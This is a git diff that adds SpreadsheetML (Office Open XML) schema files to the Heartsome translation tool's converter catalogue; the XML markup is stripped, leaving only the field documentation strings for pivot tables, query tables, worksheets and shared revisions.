+ OLAP Level Groups + + + + + Future Feature Data Storage Area + + + + + + Unique Name + + + + + Grouping Level Display Name + + + + + User-Defined Group Level + + + + + Custom Roll Up + + + + + + + + OLAP Group + + + + + + Level Group Count + + + + + + + + OLAP Group Members + + + + + + Group Name + + + + + Unique Group Name + + + + + Group Caption + + + + + Parent Unique Name + + + + + Group Id + + + + + + + + OLAP Group Member + + + + + + Group Member Count + + + + + + + Group Member Unique Name + + + + + Group + + + + + + + + Entries + + + + + Sets + + + + + OLAP Query Cache + + + + + + Future Feature Data Storage Area + + + + + + + + + + + + + + + + + + + No Value + + + + + Numeric Value + + + + + Error Value + + + + + Character Value + + + + + + Tuple Count + + + + + + + + Tuple + + + + + + Member Name Count + + + + + + + Field Index + + + + + Hierarchy Index + + + + + Item Index + + + + + + + + OLAP Set + + + + + + Tuple Set Count + + + + + + + + Tuples + + + + + Sort By Tuple + + + + + + Number of Tuples + + + + + Maximum Rank Requested + + + + + MDX Set Definition + + + + + Set Sort Order + + + + + Query Failed + + + + + + Set Sort Order + + + + + None + + + + + Ascending + + + + + Descending + + + + + Ascending Alpha + + + + + Alphabetic Order Descending + + + + + Ascending Natural + + + + + Natural Order Descending + + + + + + + + + Query + + + + + + Cached Query Count + + + + + + + + Tuples + + + + + + MDX Query String + + + + + + + + Calculated Item Formulas + + + + + + Calculated Item Formula Count + + + + + + + + Calculated Item Location + + + + + Future Feature Data Storage Area + + + + + + Field Index + + + + + Calculated Item Formula + + + + + + + + Calculated OLAP Hierarchy + + + + + + Calculated Members Count + + + + + + + + Future Feature Data Storage Area + + + + + + Calculated Member Name + + + + + Calculated Member MDX Formula + + + + + OLAP Calculated Member Name + + + + + Hierarchy Name + + + + + Parent Name + + + + + Calculated Members Solve Order + + + + + Set + + + + + + + + Pivot Table Location + + + + + PivotTable Fields + + + + + Row Indexes + + + + + Row Items + + + + + Row Index + + + + + Column Items + + + + + Page Field Items + + + + + Page Region Items + + + + + PivotTable Formats + + + + + Conditional Formats + + + + + PivotChart Formats + + + + + Pivot OLAP Hierarchies + + + + + Table Style + + + + + Filters + + + + + Row OLAP Hierarchy References + + + + + Column OLAP Hierarchy References + + + + + Future Feature Data Storage Area + + + + + + Name + + + + + PivotCache Definition Id + + + + + Data On Rows + + + + + Default Data Field Position + + + + + Auto Format Properties + + + + + Data Field Header Name + + + + + Grand Totals Caption + + + + + Error Caption + + + + + Show Error + + + + + Caption for Missing Values + + + + + Show Missing + + + + + Page Header Style Name + + + + + Table Style Name + + + + + Vacated Style + + + + + Pivot Table Custom String + + + + + PivotTable Last Updated Version + + + + + Minimum Refreshable Version + + + + + Asterisk Totals + + + + + Show Item Names + + + + + Allow Edit Data + + + + + Disable Field List + + + + + Show Calculated Members + + + + + Total Visual Data + + + + + Show Multiple Labels + + + + + Show Drop Down + + + + + Show Expand Collapse + + + + + Print Drill Indicators + + + + + Show Member Property ToolTips + + + + + Show ToolTips on Data + + + + + Enable PivotTable Wizard + + + + + Enable Drill Down + + + + + Enable Field Properties + + + + + Preserve Formatting + + + + + Auto Formatting + + + + + Page Wrap + + + + + Page Over Then Down + + + + + Subtotal Hidden Items + + + + + Row Grand Totals + + + + + Grand Totals On Columns + + + + + Field Print Titles + + + + + Item Print Titles + + + + + Merge Titles + + + + + Show Drop Zones + + + + + PivotCache Created Version + + + + + Indentation for Compact Axis + + + + + Show Empty Row + + + + + Show Empty Column + + + + + Show Field Headers + + + + + Compact New Fields + + + + + Outline New Fields + + + + + Outline Data Fields + + + + + Compact Data + + + + + Data Fields Published + + + + + Enable Drop Zones + + + + + Stop Immersive UI + + + + + Multiple Field Filters + + + + + Chart Format Id + + + + + Row Header Caption + + + + + Column Header Caption + + + + + Default Sort Order + + + + + MDX Subqueries Supported + + + + + Custom List AutoSort + + + + + + + Reference + + + + + First Header Row + + + + + Pivot Table Data First Row + + + + + First Data Column + + + + + Rows Per Page Count + + + + + Columns Per Page + + + + + + + + Pivot Table Field + + + + + + Field Count + + + + + + + + Field Items + + + + + AutoSort Scope + + + + + Future Feature Data Storage Area + + + + + + Field Name + + + + + Axis + + + + + Data Field + + + + + Custom Subtotal Caption + + + + + Show PivotField Header Drop Downs + + + + + Hidden Level + + + + + Unique Member Property + + + + + Compact + + + + + All Items Expanded + + + + + Number Format Id + + + + + Outline Items + + + + + Subtotals At Top + + + + + Drag To Row + + + + + Drag To Column + + + + + Multiple Field Filters + + + + + Drag Field to Page + + + + + Field Can Drag to Data + + + + + Drag Off + + + + + Show All Items + + + + + Insert Blank Row + + + + + Server-based Page Field + + + + + Insert Item Page Break + + + + + Auto Show + + + + + Top Auto Show + + + + + Hide New Items + + + + + Measure Filter + + + + + Inclusive Manual Filter + + + + + Items Per Page Count + + + + + Auto Sort Type + + + + + Data Source Sort + + + + + Auto Sort + + + + + Auto Show Rank By + + + + + Show Default Subtotal + + + + + Sum Subtotal + + + + + CountA + + + + + Average + + + + + Max Subtotal + + + + + Min Subtotal + + + + + Product Subtotal + + + + + Count + + + + + StdDev Subtotal + + + + + StdDevP Subtotal + + + + + Variance Subtotal + + + + + VarP Subtotal + + + + + Show Member Property in Cell + + + + + Show Member Property ToolTip + + + + + Show As Caption + + + + + + + + Auto Sort Scope + + + + + + + + + Pivot Table Field Item + + + + + + Field Count + + + + + + + Item User Caption + + + + + Item Type + + + + + + + Hide Details + + + + + Calculated Member + + + + + Missed + + + + + Child Items + + + + + Item Index + + + + + Expanded + + + + + Drill Across Attributes + + + + + + + + Page Field + + + + + + Page Item Count + + + + + + + + Future Feature Data Storage Area + + + + + + Field + + + + + Item Index + + + + + OLAP Hierarchy Index + + + + + Hierarchy Unique Name + + + + + Hierarchy Display Name + + + + + + + + Data Field Items + + + + + + Data Items Count + + + + + + + + Future Feature Data Storage Area + + + + + + Data Field Name + + + + + Field + + + + + Subtotal + + + + + Show Data As Display Format + + + + + 'Show Data As' Base Field + + + + + 'Show Data As' Base Setting + + + + + Number Format Id + + + + + + + + Row Items + + + + + + Items in a Row Count + + + + + + + + Column Items + + + + + + Column Item Count + + + + + + + + Row / Column Item Index + + + + + + Item Type + + + + + Repeated Items Count + + + + + + + Shared Items Index + + + + + + + + Row Items + + + + + + Repeated Items Count + + + + + + + + Column Items + + + + + + Repeated Items Count + + + + + + + Field Index + + + + + + + + Pivot Table Format + + + + + + Formats Count + + + + + + + + Pivot Table Location + + + + + Future Feature Data Storage Area + + + + + + Format Action + + + + + Format Id + + + + + + + + Conditional Formatting + + + + + + Conditional Format Count + + + + + + + + Pivot Areas + + + + + + Conditional Formatting Scope + + + + + Conditional Formatting Rule Type + + + + + Priority + + + + + + + + Pivot Area + + + + + + Pivot Area Count + + + + + + Conditional Formatting Scope + + + + + Selection + + + + + Data Fields + + + + + Field Intersections + + + + + + + Top N Evaluation Type + + + + + Top N None + + + + + All + + + + + Row Top N + + + + + Column Top N + + + + + + + + + PivotChart Format + + + + + + Format Count + + + + + + + + Pivot Table Location Rule + + + + + + Chart Index + + + + + Pivot Format Id + + + + + Series Format + + + + + + + + OLAP Hierarchy + + + + + + OLAP Hierarchy Count + + + + + + + + OLAP Member Properties + + + + + Members + + + + + Future Feature Data Storage Area + + + + + + Outline New Levels + + + + + Multiple Field Filters + + + + + New Levels Subtotals At Top + + + + + Show In Field List + + + + + Drag To Row + + + + + Drag To Column + + + + + Drag to Page + + + + + Drag To Data + + + + + Drag Off + + + + + Inclusive Manual Filter + + + + + Manual Filter + + + + + Hierarchy Caption + + + + + + + + Row OLAP Hierarchies + + + + + + Item Count + + + + + + + + Column OLAP Hierarchies + + + + + + Items Count + + + + + + + Hierarchy Usage + + + + + + + + OLAP Member Property + + + + + + OLAP Member Properties Count + + + + + + + OLAP Member Property Unique Name + + + + + + + + Name Length + + + + + Property Name Character Index + + + + + Property Name Length + + + + + Level Index + + + + + Field Index + + + + + + + + Member + + + + + + Item Count + + + + + Hierarchy Level + + + + + + + Hidden Item Name + + + + + + + + PivotTable OLAP Dimension + + + + + + OLAP Dimensions Count + + + + + + + Measure + + + + + Dimension Name + + + + + Dimension Unique Name + + + + + Dimension Display Name + + + + + + + + OLAP Measure Group + + + + + + Measure Group Count + + + + + + + + OLAP Measure Group + + + + + + Measure Group Count + + + + + + + Measure Group Name + + + + + Measure Group Display Name + + + + + + + Measure Group Id + + + + + Dimension Id + + + + + + + Table Style Name + + + + + Show Row Header Formatting + + + + + Show Table Style Column Header Formatting + + + + + Show Row Stripes + + + + + Show Column Stripes + + + + + + + + + PivotTable Advanced Filter + + + + + + Pivot Filter Count + + + + + + + + Auto Filter + + + + + + Field Index + + + + + Member Property Field Id + + + + + Pivot Filter Type + + + + + Evaluation Order + + + + + Pivot Filter Id + + + + + Measure Index + + + + + Measure Field Index + + + + + Pivot Filter Name + + + + + Pivot Filter Description + + + + + Label Pivot + + + + + Label Pivot Filter String Value 2 + + + + + + Show Data As + + + + + Normal Data Type + + + + + Difference + + + + + Percentage Of + + + + + Percentage Difference + + + + + Running Total + + + + + Percentage of Row + + + + + Percent of Column + + + + + Percentage of Total + + + + + Index + + + + + + + Pivot Item Type + + + + + Data + + + + + Default + + + + + Sum + + + + + CountA + + + + + Average + + + + + Max + + + + + Min + + + + + Product + + + + + Count + + + + + stdDev + + + + + StdDevP + + + + + Var + + + + + VarP + + + + + Grand Total Item + + + + + Blank Pivot Item + + + + + + + PivotTable Format Types + + + + + Blank + + + + + Formatting + + + + + Drill Type + + + + + Formula Type + + + + + + + Field Sort Type + + + + + Manual Sort + + + + + Ascending + + + + + Descending + + + + + + + Pivot Filter Types + + + + + Unknown + + + + + Count + + + + + Percent + + + + + Sum + + + + + Caption Equals + + + + + Caption Not Equal + + + + + Caption Begins With + + + + + Caption Does Not Begin With + + + + + Caption Ends With + + + + + Caption Does Not End With + + + + + Caption Contains + + + + + Caption Does Not Contain + + + + + Caption Is Greater Than + + + + + Caption Is Greater Than Or Equal To + + + + + Caption Is Less Than + + + + + Caption Is Less Than Or Equal To + + + + + Caption Is Between + + + + + Caption Is Not Between + + + + + Value Equal + + + + + Value Not Equal + + + + + Value Greater Than + + + + + Value Greater Than Or Equal To + + + + + Value Less Than + + + + + Value Less Than Or Equal To + + + + + Value Between + + + + + Value Not Between + + + + + Date Equals + + + + + Date Does Not Equal + + + + + Date Older Than + + + + + Date Older Than Or Equal + + + + + Date Newer Than + + + + + Date Newer Than or Equal To + + + + + Date Between + + + + + Date Not Between + + + + + Tomorrow + + + + + Today + + + + + Yesterday + + + + + Next Week + + + + + This Week + + + + + Last Week + + + + + Next Month + + + + + This Month + + + + + Last Month + + + + + Next Quarter + + + + + This Quarter + + + + + Last Quarter + + + + + Next Year + + + + + This Year + + + + + Last Year + + + + + Year-To-Date + + + + + First Quarter + + + + + Second Quarter + + + + + Third Quarter + + + + + Fourth Quarter + + + + + January + + + + + Dates in February + + + + + Dates in March + + + + + Dates in April + + + + + Dates in May + + + + + Dates in June + + + + + Dates in July + + + + + Dates in August + + + + + Dates in September + + + + + Dates in October + + + + + Dates in November + + + + + Dates in December + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-pivotshared.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-pivotshared.xsd new file mode 100644 index 0000000..3b1df11 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-pivotshared.xsd @@ -0,0 +1,247 @@ + + + + + + + + References + + + + + Future Feature Data Storage Area + + + + + + Field Index + + + + + Rule Type + + + + + Data Only + + + + + Labels Only + + + + + Include Row Grand Total + + + + + Include Column Grand Total + + + + + Cache Index + + + + + Outline + + + + + Offset Reference + + + + + Collapsed Levels Are Subtotals + + + + + + Rule Type + + + + + None + + + + + Normal + + + + + Data + + + + + All + + + + + Origin + + + + + Field Button + + + + + Top Right + + + + + + + + + Reference + + + + + + Pivot Filter Count + + + + + + + + Field Item + + + + + + Field Index + + + + + Item Index Count + + + + + Selected + + + + + Positional Reference + + + + + Relative Reference + + + + + Include Default Filter + + + + + Include Sum Filter + + + + + Include CountA Filter + + + + + Include Average Filter + + + + + Include Maximum Filter + + + + + Include Minimum Filter + + + + + Include Product Filter + + + + + Include Count Subtotal + + + + + Include StdDev Filter + + + + + Include StdDevP Filter + + + + + Include Var Filter + + + + + Include VarP Filter + + + + + + + Shared Items Index + + + + + + PivotTable Axis + + + + + Row Axis + + + + + Column Axis + + + + + Include Count Filter + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-qsi.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-qsi.xsd new file mode 100644 index 0000000..d5c324e --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-qsi.xsd @@ -0,0 +1,265 @@ + + + + + + + + Query Table + + + + + + + QueryTable Refresh Information + + + + + Future Feature Data Storage Area + + + + + + QueryTable Name + + + + + First Row Column Titles + + + + + Row Numbers + + + + + Disable Refresh + + + + + Background Refresh + + + + + First Background Refresh + + + + + Refresh On Load + + + + + Grow Shrink Type + + + + + Fill Adjacent Formulas + + + + + Remove Data On Save + + + + + Disable Edit + + + + + Preserve Formatting On Refresh + + + + + Adjust Column Width On Refresh + + + + + Intermediate + + + + + Connection Id + + + + + Auto Format Properties + + + + + + + + QueryTable Fields + + + + + Deleted Fields + + + + + Sort State + + + + + Future Feature Data Storage Area + + + + + + Preserve Sort & Filter Layout + + + + + Next Field Id Wrapped + + + + + Headers In Last Refresh + + + + + Minimum Refresh Version + + + + + Next Field Id + + + + + Columns Left + + + + + Columns Right + + + + + + + + Deleted Field + + + + + + Deleted Fields Count + + + + + + + Deleted Fields Name + + + + + + + + QueryTable Field + + + + + + Column Count + + + + + + + + Future Feature Data Storage Area + + + + + + Field Id + + + + + Name + + + + + Data Bound Column + + + + + Row Numbers + + + + + Fill This Formula On Refresh + + + + + Clipped Column + + + + + Table Column Id + + + + + + Grow Shrink Type + + + + + Insert & Delete On Refresh + + + + + Insert & Clear On Refresh + + + + + Overwrite & Clear On Refresh + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-sheet.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-sheet.xsd new file mode 100644 index 0000000..c3dd34e --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-sheet.xsd @@ -0,0 +1,3276 @@ + + + + + + + + + + + + Worksheet + + + + + Macro Sheet + + + + + Chart Sheet + + + + + Dialog Sheet + + + + + + + Sheet Properties + + + + + Macro Sheet Dimensions + + + + + Macro Sheet Views + + + + + Sheet Format Properties + + + + + Column Information + + + + + OLAP Formulas + + + + + Sheet Protection + + + + + AutoFilter + + + + + Sort State + + + + + Data Consolidation + + + + + Custom Sheet Views + + + + + Phonetic Properties + + + + + Conditional Formatting + + + + + Print Options + + + + + Page Margins + + + + + Page Setup Settings + + + + + Header Footer Settings + + + + + + Horizontal Page Breaks (Row) + + + + + Vertical Page Breaks + + + + + Custom Properties + + + + + Drawing + + + + + Legacy Drawing + + + + + Legacy Drawing Header Footer + + + + + Background Image + + + + + OLE Objects + + + + + Future Feature Data Storage Area + + + + + + + + + Sheet Properties + + + + + Dialog Sheet Views + + + + + Dialog Sheet Format Properties + + + + + Sheet Protection + + + + + Custom Sheet Views + + + + + Print Options + + + + + Page Margins + + + + + Page Setup Settings + + + + + Header & Footer Settings + + + + + Drawing + + + + + Legacy Drawing + + + + + Legacy Drawing Header Footer + + + + + + Future Feature Data Storage Area + + + + + + + + + Worksheet Properties + + + + + Worksheet Dimensions + + + + + Sheet Views + + + + + Sheet Format Properties + + + + + Column Information + + + + + Sheet Data + + + + + + Sheet Protection + + + + + Protected Ranges + + + + + Scenarios + + + + + AutoFilter + + + + + Sort State + + + + + Data Consolidate + + + + + Custom Sheet Views + + + + + Merge Cells + + + + + Phonetic Properties + + + + + Conditional Formatting + + + + + Data Validations + + + + + Hyperlinks + + + + + Print Options + + + + + Page Margins + + + + + Page Setup Settings + + + + + Header and Footer Settings + + + + + + Horizontal Page Breaks + + + + + Vertical Page Breaks + + + + + + Cell Watch Items + + + + + + Smart Tags + + + + + Drawing + + + + + Legacy Drawing + + + + + Legacy Drawing Header Footer + + + + + Background Image + + + + + + OLE Objects + + + + + Web Publishing Items + + + + + + Future Feature Data Storage Area + + + + + + + + + Row + + + + + + + + + + + Base Column Width + + + + + Default Column Width + + + + + Default Row Height + + + + + Custom Height + + + + + Hidden By Default + + + + + Thick Top Border + + + + + Thick Bottom Border + + + + + Maximum Outline Row + + + + + Column Outline Level + + + + + + + + Column Width & Formatting + + + + + + + + Minimum Column + + + + + Maximum Column + + + + + Column Width + + + + + Style + + + + + Hidden Columns + + + + + Best Fit Column Width + + + + + Custom Width + + + + + Show Phonetic Information + + + + + Outline Level + + + + + Collapsed + + + + + + Cell Span Type + + + + + + Cell Spans + + + + + + + + Cell + + + + + Future Feature Data Storage Area + + + + + + Row Index + + + + + Spans + + + + + Style Index + + + + + Custom Format + + + + + Row Height + + + + + Hidden + + + + + Custom Height + + + + + Outline Level + + + + + Collapsed + + + + + Thick Top Border + + + + + Thick Bottom + + + + + Show Phonetic + + + + + + + + Formula + + + + + Cell Value + + + + + Rich Text Inline + + + + + Future Feature Data Storage Area + + + + + + Reference + + + + + Style Index + + + + + Cell Data Type + + + + + Cell Metadata Index + + + + + Value Metadata Index + + + + + Show Phonetic + + + + + + Cell Type + + + + + Boolean + + + + + Number + + + + + Error + + + + + Shared String + + + + + String + + + + + Inline String + + + + + + + Formula Type + + + + + Normal + + + + + Array Entered + + + + + Table Formula + + + + + + + + + + Sheet Tab Color + + + + + Outline Properties + + + + + Page Setup Properties + + + + + + Synch Horizontal + + + + + Synch Vertical + + + + + Transition Formula Evaluation + + + + + Transition Formula Entry + + + + + Published + + + + + VB Name + + + + + Filter Mode + + + + + + + + Reference + + + + + + + + Worksheet View + + + + + Future Feature Data Storage Area + + + + + + + + + View Pane + + + + + Selection + + + + + PivotTable Selection + + + + + Future Feature Data Storage Area + + + + + + Window Protection + + + + + Show Formulas + + + + + Show Grid Lines + + + + + Show Headers + + + + + Show Zero Values + + + + + Right To Left + + + + + Sheet Tab Selected + + + + + Show Ruler + + + + + Show Outline Symbols + + + + + Default Grid Color + + + + + Show White Space + + + + + View + + + + + Top Left Visible Cell + + + + + Color Id + + + + + Zoom Scale + + + + + Zoom Scale Normal View + + + + + Zoom Scale Page Break Preview + + + + + Zoom Scale Page Layout View + + + + + Workbook View Index + + + + + + + Horizontal Split Position + + + + + Vertical Split Position + + + + + Top Left Visible Cell + + + + + Active Pane + + + + + + + + + Pivot Area + + + + + + Pane + + + + + Show Header + + + + + Label + + + + + Data Selection + + + + + Extendable + + + + + Selection Count + + + + + Axis + + + + + Dimension + + + + + Start + + + + + Minimum + + + + + Maximum + + + + + Active Row + + + + + Active Column + + + + + Previous Row + + + + + Previous Column Selection + + + + + Click Count + + + + + + + + Pane + + + + + Active Cell Location + + + + + Active Cell Index + + + + + Sequence of References + + + + + + Pane Types + + + + + Bottom Right Pane + + + + + Top Right Pane + + + + + Bottom Left Pane + + + + + Top Left Pane + + + + + + + + + Break + + + + + + Page Break Count + + + + + Manual Break Count + + + + + + + Id + + + + + Minimum + + + + + Maximum + + + + + Manual Page Break + + + + + Pivot-Created Page Break + + + + + + + + + + + + + + + + + Sheet View Type + + + + + Normal View + + + + + Page Break Preview + + + + + Page Layout View + + + + + + + + Apply Styles in Outline + + + + + Summary Below + + + + + Summary Right + + + + + Show Outline Symbols + + + + + + + Show Auto Page Breaks + + + + + Fit To Page + + + + + + + + Data Consolidation References + + + + + + Function Index + + + + + Use Left Column Labels + + + + + Labels In Top Row + + + + + Link + + + + + + Data Consolidation Functions + + + + + Average + + + + + Count + + + + + CountNums + + + + + Maximum + + + + + Minimum + + + + + Product + + + + + StdDev + + + + + StdDevP + + + + + Sum + + + + + Variance + + + + + VarP + + + + + + + + + Data Consolidation Reference + + + + + + Data Consolidation Reference Count + + + + + + + Reference + + + + + Built-In Named Range + + + + + Named Range + + + + + Sheet Name + + + + + + + + + Merged Cell + + + + + + + + Reference + + + + + + + + Cell Smart Tags + + + + + + + + + Cell Smart Tag + + + + + + Reference + + + + + + + + Smart Tag Properties + + + + + + Smart Tag Type Index + + + + + + + Key Name + + + + + Value + + + + + + + + + + + + + + Custom Sheet View + + + + + + + + + Pane Split Information + + + + + Selection + + + + + Horizontal Page Breaks + + + + + Vertical Page Breaks + + + + + Page Margins + + + + + Print Options + + + + + Page Setup Settings + + + + + Header Footer Settings + + + + + AutoFilter Settings + + + + + + + GUID + + + + + Print Scale + + + + + Color Id + + + + + Show Page Breaks + + + + + Show Formulas + + + + + Show Grid Lines + + + + + Show Headers + + + + + Show Outline Symbols + + + + + Show Zero Values + + + + + Print Horizontal Centered + + + + + Print Vertical Centered + + + + + Print Headings + + + + + Print Grid Lines + + + + + Fit To Page + + + + + Print Area Defined + + + + + Filtered List + + + + + Show AutoFitler Drop Down Controls + + + + + Hidden Rows + + + + + Hidden Columns + + + + + Visible State + + + + + Size With Window + + + + + Filter + + + + + View Type + + + + + Show Ruler + + + + + Top Left Visible Cell + + + + + + + + Data Validation + + + + + + Disable Prompts + + + + + Top Left Corner (X Coodrinate) + + + + + Top Left Corner (Y Coordinate) + + + + + Object Id + + + + + Data Validation Item Count + + + + + + + + Formula 1 + + + + + Formula 2 + + + + + + Data Validation Type + + + + + Data Validation Error Style + + + + + IME Mode Enforced + + + + + Operator + + + + + Allow Blank + + + + + Show Drop Down + + + + + Show Input Message + + + + + Show Error Message + + + + + Error Alert Text + + + + + Error Message + + + + + Prompt Title + + + + + Input Prompt + + + + + Sequence of References + + + + + + Data Validation Type + + + + + None + + + + + Whole Number + + + + + Decimal + + + + + List + + + + + Date + + + + + Time + + + + + Text Length + + + + + Custom + + + + + + + Data Validation Operator + + + + + Between + + + + + Not Between + + + + + Equal + + + + + Not Equal + + + + + Less Than + + + + + Less Than Or Equal + + + + + Greater Than + + + + + Greater Than Or Equal + + + + + + + Data Validation Error Styles + + + + + Stop Icon + + + + + Warning Icon + + + + + Information Icon + + + + + + + Data Validation IME Mode + + + + + IME Mode Not Controlled + + + + + IME Off + + + + + IME On + + + + + Disabled IME Mode + + + + + Hiragana IME Mode + + + + + Full Katakana IME Mode + + + + + Half-Width Katakana + + + + + Full-Width Alpha-Numeric IME Mode + + + + + Half Alpha IME + + + + + Full Width Hangul + + + + + Half-Width Hangul IME Mode + + + + + + + Conditional Format Type + + + + + Expression + + + + + Cell Is + + + + + Color Scale + + + + + Data Bar + + + + + Icon Set + + + + + Top 10 + + + + + Unique Values + + + + + Duplicate Values + + + + + Contains Text + + + + + Does Not Contain Text + + + + + Begins With + + + + + Ends With + + + + + Contains Blanks + + + + + Contains No Blanks + + + + + Contains Errors + + + + + Contains No Errors + + + + + Compare Columns + + + + + Time Period + + + + + Above or Below Average + + + + + + + Time Period Types + + + + + Today + + + + + Yesterday + + + + + Tomorrow + + + + + Last 7 Days + + + + + This Month + + + + + Last Month + + + + + Next Month + + + + + This Week + + + + + Last Week + + + + + Next Week + + + + + + + Conditional Format Types + + + + + Less Than + + + + + Less Than Or Equal + + + + + Equal + + + + + Not Equal + + + + + Greater Than Or Equal + + + + + Greater Than + + + + + Between + + + + + Not Between + + + + + Contains + + + + + Does Not Contain + + + + + Begins With + + + + + Ends With + + + + + + + Conditional Format Value Object Type + + + + + Number + + + + + Percent + + + + + Maximum + + + + + Minimum + + + + + Formula + + + + + Percentile + + + + + + + + + Conditional Formatting Rule + + + + + + PivotTable Conditional Formatting + + + + + Sequence of Refernces + + + + + + + + Formula + + + + + Color Scale + + + + + Data Bar + + + + + Icon Set + + + + + + Type + + + + + Diff Formatting Id + + + + + Priority + + + + + Format Row + + + + + Stop If True + + + + + Above Or Below Average + + + + + Top 10 Percent + + + + + Bottom N + + + + + Operator + + + + + Text + + + + + Time Period + + + + + Column 1 + + + + + Column 2 Index + + + + + Rank + + + + + StdDev + + + + + + + + + Hyperlink + + + + + + + + Reference + + + + + + Location + + + + + Tool Tip + + + + + Display String + + + + + + + + + Formula Type + + + + + Range of Cells + + + + + Data Table 2-D + + + + + Data Table Row + + + + + + + Data Table Cell 1 + + + + + Input Cell 2 + + + + + Defer Deserialization + + + + + Calculate Cell + + + + + Fill Down On Refesh + + + + + Clear Errors + + + + + + + + + + + Conditional Format Value Object + + + + + Color Gradiant Interpolation + + + + + + + + + Conditional Format Value Object + + + + + Data Bar Color + + + + + + Minimum Length + + + + + Maximum Length + + + + + Show Values + + + + + + + + Conditional Formatting Object + + + + + + Icon Set + + + + + Show Value + + + + + Percent + + + + + Reverse Icons + + + + + + + Type + + + + + Value + + + + + Greater Than Or Equal Icon Set + + + + + + + Left Page Margin + + + + + Right Page Margin + + + + + Top Page Margin + + + + + Bottom Page Margin + + + + + Header Page Margin + + + + + Footer Page Margin + + + + + + + Horizontal Centered + + + + + Vertical Centered + + + + + Print Headings + + + + + Print Grid Lines + + + + + Grid Lines Set + + + + + + + Paper Size + + + + + Print Scale + + + + + First Page Number + + + + + Fit To Width + + + + + Fit To Height + + + + + Page Order + + + + + Orientation + + + + + Print Driver + + + + + Black And White + + + + + Draft + + + + + Print Cell Comments + + + + + Use First Page Number + + + + + Print Error Handling + + + + + Horizontal DPI + + + + + Vertical DPI + + + + + Number Of Copies + + + + + + Page Order + + + + + Down Then Over + + + + + Over Then Down + + + + + + + Orientation + + + + + Default + + + + + Portrait + + + + + Landscape + + + + + + + Cell Comments + + + + + None + + + + + Print Comments As Displayed + + + + + Print At End + + + + + + + + + Odd Header + + + + + Odd Page Footer + + + + + Even Page Header + + + + + Even Page Footer + + + + + First Page Header + + + + + First Page Footer + + + + + + Different Odd Even Header Footer + + + + + Different First Page + + + + + Scale Header & Footer With Document + + + + + Align Margins + + + + + + Print Errors + + + + + Display Cell Errors + + + + + Show Cell Errors As Blank + + + + + Dash Cell Errors + + + + + NA + + + + + + + + + Scenario + + + + + + Current Scenario + + + + + Last Shown Scenario + + + + + Sequence of References + + + + + + + Password + + + + + Sheet Locked + + + + + Objects Locked + + + + + Scenarios Locked + + + + + Format Cells Locked + + + + + Format Columns Locked + + + + + Format Rows Locked + + + + + Insert Columns Locked + + + + + Insert Rows Locked + + + + + Insert Hyperlinks Locked + + + + + Delete Columns Locked + + + + + Delete Rows Locked + + + + + Select Locked Cells Locked + + + + + Sort Locked + + + + + AutoFilter Locked + + + + + Pivot Tables Locked + + + + + Select Unlocked Cells Locked + + + + + + + + Protected Range + + + + + + + + Password + + + + + Sequence of References + + + + + Name + + + + + Security Descriptor + + + + + + + + Input Cells + + + + + + Scenario Name + + + + + Scenario Locked + + + + + Hidden Scenario + + + + + Changing Cell Count + + + + + User Name + + + + + Scenario Comment + + + + + + + Reference + + + + + Deleted + + + + + Undone + + + + + Value + + + + + Number Format Id + + + + + + + + Cell Watch Item + + + + + + + + Reference + + + + + + + + + Chart Sheet Views + + + + + + + + + + Drawing + + + + + + + + + + + + + + + + + + + Chart Sheet View + + + + + + + + + + + + Sheet Tab Selected + + + + + Window Zoom Scale + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Custom Properties + + + + + + + + Custom Property Name + + + + + + + + + OLE Object + + + + + + + + OLE ProgId + + + + + Data or View Aspect + + + + + + OLE Update + + + + + Shape Id + + + + + + + Data View Aspect Type + + + + + Object Display Content + + + + + Object Display Icon + + + + + + + OLE Update Types + + + + + Always Update OLE + + + + + Update OLE On Call + + + + + + + + + Web Publishing Item + + + + + + Web Publishing Items Count + + + + + + + Id + + + + + Destination Bookmark + + + + + Web Source Type + + + + + Source Id + + + + + Source Object Id + + + + + Destination File Name + + + + + Title + + + + + Automatically Publish + + + + + Published + + + + + + + + ActiveX Control + + + + + + + + Shape Id + + + + + + Control Name + + + + + + Web Source Type + + + + + All Sheet Content + + + + + Print Area + + + + + AutoFilter + + + + + Range + + + + + Chart + + + + + PivotTable + + + + + QueryTable + + + + + Label + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-shrrev.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-shrrev.xsd new file mode 100644 index 0000000..6cf4280 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-shrrev.xsd @@ -0,0 +1,850 @@ + + + + + + + + + Revision Headers + + + + + Revisions + + + + + + + Header + + + + + + Last Revision GUID + + + + + Last GUID + + + + + Shared Workbook + + + + + Disk Revisions + + + + + History + + + + + Track Revisions + + + + + Exclusive Mode + + + + + Revision Id + + + + + Version + + + + + Keep Change History + + + + + Protected + + + + + Preserve History + + + + + + + + Revision Row Column Insert Delete + + + + + Revision Cell Move + + + + + Revision Custom View + + + + + Revision Sheet Name + + + + + Revision Insert Sheet + + + + + Revision Cell Change + + + + + Revision Format + + + + + Revision AutoFormat + + + + + Revision Defined Name + + + + + Revision Cell Comment + + + + + Revision Query Table + + + + + Revision Merge Conflict + + + + + + + Revision Data + + + + Revision 